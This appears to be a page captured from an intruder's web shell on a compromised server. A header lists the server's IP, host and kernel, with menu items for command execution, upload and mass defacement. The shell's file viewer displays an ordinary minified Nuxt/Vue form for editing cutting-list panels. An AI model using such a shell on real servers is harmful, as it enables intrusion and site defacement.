���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
.output
/
public
/
_nuxt
/
Viewing: C-kHalEi.js
import{_ as I}from"./yDnVNt26.js";import{q as L,h as q,u as z,O as D,r as E,N as M,i as J,a7 as W,P as H,Q as K,R as Q,o as u,c as h,a as e,b as U,w as V,d as S,t as i,k as t,B as c,ad as m,I as j,J as C,a3 as p,ae as A,E as N,S as X,K as Y,G as Z,n as ee,U as te,T as oe}from"./Bkw0duvu.js";import{u as se}from"./DmDSYH1u.js";import{u as le}from"./DKnm8qnS.js";import"./CyhgVoz5.js";const ne={class:"w-[95%] mx-auto"},ie=["dir"],ae={class:"bg-[#f7941d] text-black block w-full rounded-t-md overflow-hidden"},re={class:"flex items-center justify-between px-2 py-2"},de=e("span",{class:"w-4/12 text-base font-bold text-right text-white"},null,-1),ce={class:"flex items-start justify-center w-4/12"},ue={id:"title_group_1",class:"block text-sm font-bold"},_e=e("span",{class:"w-4/12 block"},null,-1),he={class:"pt-2 border-b border-l border-r border-gray-400 min-h-[90vh] !rounded-t-none rounded-md overflow-hidden"},me={class:"flex flex-wrap w-full mx-auto"},pe={class:"flex items-start justify-start flex-wrap w-full mb-4"},be={class:"w-full mb-2"},xe={class:"mx-auto w-[98%]"},fe=["value"],we={class:"w-full mb-2"},ge={class:"mx-auto w-[98%]"},ve=["placeholder"],ye={class:"w-full"},ke={class:"mx-auto w-[98%] flex justify-start items-center"},Ue={class:"mr-5 text-sm text-black"},Ve={class:"flex separator items-center justify-between w-full pb-5"},Se={class:"flex items-center justify-center flex-row px-2"},je=e("i",{class:"mx-1 text-xl bx bx-plus text-green-500"},null,-1),Ce={class:"flex w-full justify-center items-center"},Ae=e("i",{class:"mx-1 text-xl bx bx-minus text-red-500"},null,-1),Ne={class:"flex w-full justify-center items-center"},$e={class:"w-full"},Re={class:"w-[12%] mr-[.1rem]"},Pe={class:"w-full py-0 !pr-0 text-xs text-gray-900 h-7 3xl:h-9 flex items-center rounded justify-center text-center bold border-2 border-red-700 border-dashed focus:!ring-0"},Te={class:"w-full flex flex-col items-center justify-end my-[.3rem]"},Be=["onUpdate:modelValue"],Fe={class:"text-xs text-black"},Oe={class:"w-[88%] flex flex-wrap justify-start items-center"},Ge={class:"w-[24%] mr-[.1rem] mb-[.1rem]"},Ie=["placeholder","onUpdate:modelValue"],Le={class:"w-[24%] mr-[.1rem] mb-[.1rem]"},qe=["placeholder","onUpdate:modelValue"],ze={class:"w-[24%] mr-[.1rem] mb-[.1rem]"},De=["onUpdate:modelValue","placeholder"],Ee={class:"w-[24%] mb-[.1rem] mr-[.1rem]"},Me=["onUpdate:modelValue","placeholder"],Je={class:"w-[24%] mr-[.1rem]"},We=["onUpdate:modelValue"],He={value:"0"},Ke={value:"1"},Qe={value:"2"},Xe={value:"3"},Ye={value:"0"},Ze={class:"w-[24%] mr-[.1rem]"},et=["onUpdate:modelValue"],tt={value:"0"},ot={value:"1"},st={value:"2"},lt={value:"3"},nt={value:"0"},it={class:"w-[24%] mr-[.1rem]"},at=["onUpdate:modelValue"],rt={value:"0"},dt={value:"1"},ct={value:"2"},ut={value:"3"},_t={value:"0"},ht={class:"w-[24%] mr-[.1rem]"},mt=["onUpdate:modelValue"],pt={value:"0"},bt={value:"1"},xt={value:"2"},ft={value:"3"},wt={value:"0"},gt={class:"bg-white flex justify-between items-center pb-2 pt-1 sm:border-r sm:border-l w-full sm:w-9/12 md:w-7/12 lg:w-6/12 2xl:w-5/12 mx-auto fixed bottom-0 right-0 left-0 border-t"},vt={class:"px-1 w-full"},yt={class:"block px-2 text-xs bold truncate"},At=L({__name:"[id]",async setup(kt){let b,g;const{t:s}=q();z({title:s("makeUnit")});const f=D(),_=E(!1),{$api:$}=M(),R=oe(),P=J(),{id:v}=W().params;let o=H({list_id:0,material_id:1,panel_description:"",rotate_status:!1,num_slice:1,slice:[{length:"",width:"",count:"",length_one:0,length_two:0,width_one:0,width_two:0,rotate_status:!1,description:""}]});const{data:w}=([b,g]=K(async()=>se(`user:${v}`,async()=>{const[l]=await Promise.all([$(R.public.API_URL+"/analyze/list/single",{query:{unit_id:v}})]),n=JSON.parse(l).data.materials,x=JSON.parse(l).data.list;return{feilds:n,unit:x}},{server:!0})),b=await b,g(),b),T=async l=>{l&&(o.list_id=l.id,o.material_id=l.attach[0].material_id,o.panel_description=l.name,o.rotate_status=!1,o.num_slice=l.attach.length,o.list_id=l.id,o.slice=[],l.attach.forEach(n=>{o.slice.push({length:n.length,width:n.width,count:n.count,length_one:n.length_one,length_two:n.length_two,width_one:n.width_one,width_two:n.width_two,rotate_status:!!n.rotate_status,description:n.label})}))};Q(async()=>{w.value.unit&&await T(w.value.unit)});const y=l=>{l=="increment"?(o.num_slice=o.num_slice+1,o.slice.push({length:"",width:"",count:"1",length_one:0,length_two:0,width_one:0,width_two:0,rotate_status:!1,description:""})):1<o.num_slice&&(o.num_slice=o.num_slice-1,o.slice.splice(o.num_slice,1)),k()},B=l=>{o.slice.splice(l,1),o.num_slice=o.num_slice-1},k=()=>{for(let l=0;l<o.slice.length;l++)o.slice[l].rotate_status=o.rotate_status},F=async()=>{_.value=!0;for(let l=0;l<o.slice.length;l++){const n=o.slice[l];if(!n.width)return f.add({title:s("Section ")+(l+1)+" "+s("Width_Alert"),color:"orange"}),_.value=!1;if(!n.length)return f.add({title:s("Section ")+(l+1)+" "+s("Length_Alert"),color:"orange"}),_.value=!1;if(!n.count)return f.add({title:s("Section ")+(l+1)+" "+s("Number_Alert"),color:"orange"}),_.value=!1}await le("/analyze/custom-list/edit",{method:"POST",body:o,immediate:!0,server:!0,onResponse({request:l,response:n,options:x}){if(n.status!=422)return ee(P("/analyze/list"))}})};return(l,n)=>{const x=I,O=te,G=X;return u(),h("div",ne,[e("div",{dir:l.$i18n.locale=="en"?"ltr":"rtl",class:"mb-2"},[e("div",ae,[e("div",re,[de,e("div",ce,[e("span",ue,[U(x,null,{default:V(()=>[S(i(t(s)("Edit piece")),1)]),_:1})])]),_e])]),e("div",he,[e("div",me,[e("div",pe,[e("div",be,[e("div",xe,[c(e("select",{"onUpdate:modelValue":n[0]||(n[0]=d=>t(o).material_id=d),class:"block w-full h-9 py-0 !px-3 text-sm bg-white text-gray-900 border border-gray-300 rounded focus:ring-main-700 focus:border-main-700"},[(u(!0),h(j,null,C(t(w).feilds,(d,a)=>(u(),h("option",{value:d.id},i(l.$i18n.locale=="en"?d.title_en:d.title),9,fe))),256))],512),[[m,t(o).material_id]])])]),e("div",we,[e("div",ge,[c(e("textarea",{"onUpdate:modelValue":n[1]||(n[1]=d=>t(o).panel_description=d),rows:"1",class:"block w-full h-9 py-1 !px-3 text-xs bg-white text-gray-900 border border-gray-300 rounded 3xl:h-9 focus:ring-main-700 focus:border-main-700 placeholder-slate-400",type:"text",placeholder:t(s)("Sheet name and code")},null,8,ve),[[p,t(o).panel_description]])])]),e("div",ye,[e("div",ke,[c(e("input",{type:"checkbox",onChange:k,"onUpdate:modelValue":n[2]||(n[2]=d=>t(o).rotate_status=d),class:"w-5 h-5 text-red-900 border-2 border-red-900 cursor-pointer focus:border-red-900 focus:ring-red-900"},null,544),[[A,t(o).rotate_status]]),e("span",Ue,i(t(s)("Total rotation of parts")),1)])])])]),e("section",Ve,[e("div",Se,[e("button",{onClick:n[3]||(n[3]=d=>y("increment")),type:"button",class:N([l.$i18n.locale=="en"?"mr-2 pr-2":"ml-2 pl-2","mb-0 w-auto h-7 text-xs bold flex justify-center items-center bg-gray-50 border-green-500 hover:bg-green-50 border rounded cursor-pointer"])},[je,e("span",Ce,i(t(s)("Add row")),1)],2),e("button",{onClick:n[4]||(n[4]=d=>y("decrement")),type:"button",class:N([l.$i18n.locale=="en"?" pr-2":" pl-2","mb-0 :w-auto h-7 text-xs bold flex justify-center items-center bg-gray-50 border-red-500 hover:bg-red-50 border rounded cursor-pointer"])},[Ae,e("span",Ne,i(t(s)("Reduce line")),1)],2)])]),e("div",$e,[(u(!0),h(j,null,C(t(o).num_slice,(d,a)=>(u(),h("div",{class:"w-full flex justify-start items-start mb-2 pb-0 border-b border-dashed border-main-700",key:a},[e("div",Re,[e("span",Pe,[1<a+1?(u(),Y(O,{key:0,onClick:r=>B(a),name:"i-heroicons-x-circle",class:"text-xl text-red-600 cursor-pointer ml-1"},null,8,["onClick"])):Z("",!0),S(" "+i(a+1),1)]),e("div",Te,[c(e("input",{type:"checkbox","onUpdate:modelValue":r=>t(o).slice[a].rotate_status=r,class:"text-red-900 border-2 border-red-900 cursor-pointer focus:border-red-900 focus:ring-red-900"},null,8,Be),[[A,t(o).slice[a].rotate_status]]),e("span",Fe,i(t(s)("rotation")),1)])]),e("div",Oe,[e("div",Ge,[c(e("input",{placeholder:t(s)("count"),"onUpdate:modelValue":r=>t(o).slice[a].count=r,class:"{{(i+1)%2 == 0 ? 'bg-main-400' : 'bg-white'}} block w-full py-0 !px-3 text-xs bg-white text-gray-900 border border-gray-300 text-center bold rounded h-7 3xl:h-9 focus:ring-main-700 focus:border-main-700"},null,8,Ie),[[p,t(o).slice[a].count]])]),e("div",Le,[c(e("input",{placeholder:t(s)("Width"),"onUpdate:modelValue":r=>t(o).slice[a].width=r,class:"{{(i+1)%2 == 0 ? 'bg-main-400' : 'bg-white'}} block w-full py-0 !px-3 text-xs bg-white text-gray-900 border border-gray-300 text-center bold rounded h-7 3xl:h-9 focus:ring-main-700 focus:border-main-700"},null,8,qe),[[p,t(o).slice[a].width]])]),e("div",ze,[c(e("input",{"onUpdate:modelValue":r=>t(o).slice[a].length=r,placeholder:t(s)("Length"),class:"{{(i+1)%2 == 0 ? 'bg-main-400' : 'bg-white'}} block w-full py-0 !px-3 text-xs bg-white text-gray-900 border border-gray-300 text-center bold rounded h-7 3xl:h-9 focus:ring-main-700 focus:border-main-700"},null,8,De),[[p,t(o).slice[a].length]])]),e("div",Ee,[c(e("textarea",{"onUpdate:modelValue":r=>t(o).slice[a].description=r,rows:"1",class:"{{(i+1)%2 == 0 ? 'bg-main-400' : 'bg-white'}} block w-full py-1 !px-3 text-xs bg-white text-gray-900 border border-gray-300 rounded description h-7 3xl:h-9 focus:ring-main-700 focus:border-main-700 placeholder-slate-400",placeholder:t(s)("Description")},null,8,Me),[[p,t(o).slice[a].description]])]),e("div",Je,[c(e("select",{"onUpdate:modelValue":r=>t(o).slice[a].width_two=r,class:"{{(i+1)%2 == 0 ? 'bg-main-400' : 'bg-white'}} block w-full py-0 !px-3 text-xs bg-white text-gray-900 border border-gray-300 rounded h-7 3xl:h-9 focus:ring-main-700 focus:border-main-700"},[e("option",He,i(t(s)("width two")),1),e("option",Ke,i(t(s)("Strip")),1),e("option",Qe,i(t(s)("Farsi")),1),e("option",Xe,i(t(s)("Groove")),1),e("option",Ye,i(t(s)("none")),1)],8,We),[[m,t(o).slice[a].width_two]])]),e("div",Ze,[c(e("select",{"onUpdate:modelValue":r=>t(o).slice[a].width_one=r,class:"{{(i+1)%2 == 0 ? 'bg-main-400' : 'bg-white'}} block w-full py-0 !px-3 text-xs bg-white text-gray-900 border border-gray-300 rounded h-7 3xl:h-9 focus:ring-main-700 focus:border-main-700"},[e("option",tt,i(t(s)("width one")),1),e("option",ot,i(t(s)("Strip")),1),e("option",st,i(t(s)("Farsi")),1),e("option",lt,i(t(s)("Groove")),1),e("option",nt,i(t(s)("none")),1)],8,et),[[m,t(o).slice[a].width_one]])]),e("div",it,[c(e("select",{"onUpdate:modelValue":r=>t(o).slice[a].length_two=r,class:"{{(i+1)%2 == 0 ? 'bg-main-400' : 'bg-white'}} block w-full py-0 !px-3 text-xs bg-white text-gray-900 border border-gray-300 rounded h-7 3xl:h-9 focus:ring-main-700 focus:border-main-700"},[e("option",rt,i(t(s)("length two")),1),e("option",dt,i(t(s)("Strip")),1),e("option",ct,i(t(s)("Farsi")),1),e("option",ut,i(t(s)("Groove")),1),e("option",_t,i(t(s)("none")),1)],8,at),[[m,t(o).slice[a].length_two]])]),e("div",ht,[c(e("select",{"onUpdate:modelValue":r=>t(o).slice[a].length_one=r,class:"{{(i+1)%2 == 0 ? 'bg-main-400' : 'bg-white'}} block w-full py-0 !px-3 text-xs bg-white text-gray-900 border border-gray-300 rounded h-7 3xl:h-9 focus:ring-main-700 focus:border-main-700"},[e("option",pt,i(t(s)("length one")),1),e("option",bt,i(t(s)("Strip")),1),e("option",xt,i(t(s)("Farsi")),1),e("option",ft,i(t(s)("Groove")),1),e("option",wt,i(t(s)("none")),1)],8,mt),[[m,t(o).slice[a].length_one]])])])]))),128))])])],8,ie),e("footer",gt,[e("div",vt,[U(G,{onClick:F,loading:t(_),square:"",class:"w-full flex text-white rounded-sm border h-10 bg-main-700 items-center justify-center"},{default:V(()=>[e("span",yt,i(t(s)("payment_5")),1)]),_:1},8,["loading"])])])])}}});export{At as default};
Coded With 💗 by
0x6ick Mod By V1rus_Alfa